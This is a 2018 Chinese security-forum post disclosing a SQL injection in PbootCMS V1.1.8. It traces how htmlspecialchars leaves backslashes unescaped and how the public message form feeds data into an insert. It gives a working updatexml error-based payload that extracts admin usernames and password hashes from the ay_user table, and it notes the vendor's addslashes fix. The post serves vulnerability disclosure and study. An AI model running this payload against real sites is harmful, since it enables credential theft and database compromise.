用户
搜索
  • TA的每日心情
    无聊
    2018-12-1 01:22
  • 签到天数: 25 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-核心白帽

    Rank: 4

    18

    主题

    407

    帖子

    3

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2016-3-19
    发表于 2018-9-22 23:47:26 611120

    版本:V1.1.8-20180807
    漏洞文件:\core\function\helper.php中的get(),post(),request()等全局获取数据方法都存在一个问题,未过略反斜杠.
    用post方法举例:

    function post($name, $type = null, $require = false, $vartext = null, $default = null)
    {
        $condition = array(
            'd_source' => 'post',
            'd_type' => $type,
            'd_require' => $require,
            $name => $vartext,
            'd_default' => $default
        );
        return filter($name, $condition);
    }

    可以看到用户的数据仅经过filter函数过滤,继续根据filter函数:

    function filter($varname, $condition)
    {
    …
        // 数据源
        if (array_key_exists('d_source', $condition)) {
            switch ($condition['d_source']) {
                case 'post':
                    $data = @$_POST[$varname];
                    break;
                case 'get':
                    $data = @$_GET[$varname];
                    break;
                case 'cookie':
                    $data = @$_COOKIE[$varname];
                    break;
                case 'session':
                    $data = @$_SESSION[$varname];
                    break;
                case 'both':
                    $data = @$_POST[$varname] ?: @$_GET[$varname];
                    break;
                case 'string':
                    $data = $varname;
                default:
                    error($vartext . '数据获取方式设置错误!');
            }
            // 去空格
            if (is_string($data))
                $data = trim($data);
        } else {
            $data = $varname; // 没有数据源指定时直接按照字符串过滤处理
        }
    …
        // 数据类型检测
        if (array_key_exists('d_type', $condition)) {
            switch ($condition['d_type']) {
                case 'int':
                    if (! preg_match('/^[0-9]+$/', $data)) {
                        $err = '必须为整数!';
                    }
                    break;
                case 'float':
                    if (! is_float($data)) {
                        $err = '必须为浮点数!';
                    }
                    break;
                case 'num':
                    if (! is_numeric($data)) {
                        $err = '必须为数字!';
                    }
                    break;
                case 'letter':
                    if (! preg_match('/^[a-zA-Z]+$/', $data)) {
                        $err = '只能包含字母!';
                    }
                    break;
                case 'var':
                    if (! preg_match('/^[\w-]+$/', $data)) {
                        $err = '只能包含字母、数字、划线!';
                    }
                    break;
                case 'bool':
                    if (! is_bool($data)) {
                        $err = '必须为布尔类型!';
                    }
                    break;
                case 'date':
                    if (! strtotime($data)) {
                        $err = '必须为日期类型!';
                    }
                    break;
                case 'array':
                    if (! is_array($data)) {
                        $err = '必须为数组类型!';
                    }
                    break;
                case 'object':
                    if (! is_object($data)) {
                        $err = '必须为对象类型!';
                    }
                    break;
                case 'vars':
                    if (! preg_match('/^[\x{4e00}-\x{9fa5}\w-]+$/u', $data)) {
                        $err = '只能包含中文、字母、数字、横线!';
                    }
                    break;
                default:
                    if ($condition['d_type'])
                        error($vartext . '数据类型设置错误!');
            }
        }
    …
        // 去空格
        if (is_string($data)) {
            $data = trim($data);
        }
        // 销毁错误
        unset($err);
        // 返回收据
        return escape_string($data);
    }

    这里只贴了几个关键地方.数据直接由$_GET,$_POST等方式获取,然后经过了一个trim处理,然后进过了数据类型处理(这里默认获取数据的方式没有用到这个,可以无视),最关键的就是最后的经过escape_string($data);函数处理。跟进该函数:

    // 获取转义数据,支持字符串、数组、对象
    function escape_string($string)
    {
        if (! $string)
            return $string;
        if (is_array($string)) { // 数组处理
            foreach ($string as $key => $value) {
                $string[$key] = escape_string($value);
            }
        } elseif (is_object($string)) { // 对象处理
            foreach ($string as $key => $value) {
                $string->$key = escape_string($value);
            }
        } else { // 字符串处
            $string = htmlspecialchars(trim($string), ENT_QUOTES);
        }
        return $string;
    }

    可以看到关键部分:

    $string = htmlspecialchars(trim($string), ENT_QUOTES);

    仅经过了一个htmlspecialchars函数处理,能处理单双引号,但是并不会处理反斜杠,导致用户可以随意引入反斜杠.


    漏洞利用:

    随便找个更新或者添加的地方即可利用:前台直接就存在在线留言可以直接引入,在看在线留言处源码:\apps\home\controller\MessageController.php 中的add方法:

    // 留言新增
        public function add()
        {
            if ($_POST) {
               …
                // 接收数据
                $mail_body = '';
                foreach ($form as $value) {
                    $field_data = post($value->name);
                    if (is_array($field_data)) { // 如果是多选等情况时转换
                        $field_data = implode(',', $field_data);
                    }
                    if ($value->required && ! $field_data) {
                        alert_back($value->description . '不能为空!');
                    } else {
                        $data[$value->name] = post($value->name);
                        $mail_body .= $value->description . ':' . post($value->name) . '<br>';
                    }
                }
    …
                if ($this->model->addMessage($data)) {
                    $this->log('留言提交成功!');
                    if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                        $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
                        $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
                        sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
                    }
                    alert_location('提交成功!', '-1');
                } else {
                    $this->log('留言提交失败!');
                    alert_back('提交失败!');
                }
            } else {
                error('提交失败,请使用POST方式提交!');
            }
        }

    可以看到直接通过post方法接收用户数据,然后直接进入addMessage函数。

    // 新增留言
        public function addMessage($data)
        {
            return parent::table('ay_message')->autoTime()->insert($data);
        }

    直接一个insert函数,就不跟进了。直接造成了注入.
    全局获取数据的方法出现了问题,导致只要是更新或者插入数据的地方都可能存在注入,问题有点严重,不仅限制于在线留言这一处。


    漏洞证明:

    前台访问:-》在线留言:
    在联系人处填入:1\
    在手机处填入payload:,1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM ay_user limit 0,1),0x7e),1),0,0,0,0,0,0,0,0,0,0,0)#
    如图:


    总结:

    其实也就一句话:通过htmlspecialchars函数处理获取的数据,导致了反斜杠未处理,利用反斜杠吃掉一个单引号,造成注入.

    他的修复方式就是在:

    $string = htmlspecialchars(trim($string), ENT_QUOTES);

    后面再加了一个addslashes函数在处理一次.


    评分

    参与人数 1魔法币 +5 收起 理由
    zzconfig + 5 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    发表于 2018-9-23 23:23:34
    学习了。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    学习学习
    https://legoc.github.io
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发表于 2018-9-28 10:46:03
    学习啦
    使用道具 举报 回复
    发表于 2018-10-1 05:07:50
    支持一下
    路漫漫,
    使用道具 举报 回复
    发表于 2018-10-25 16:33:08
    学习一下
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册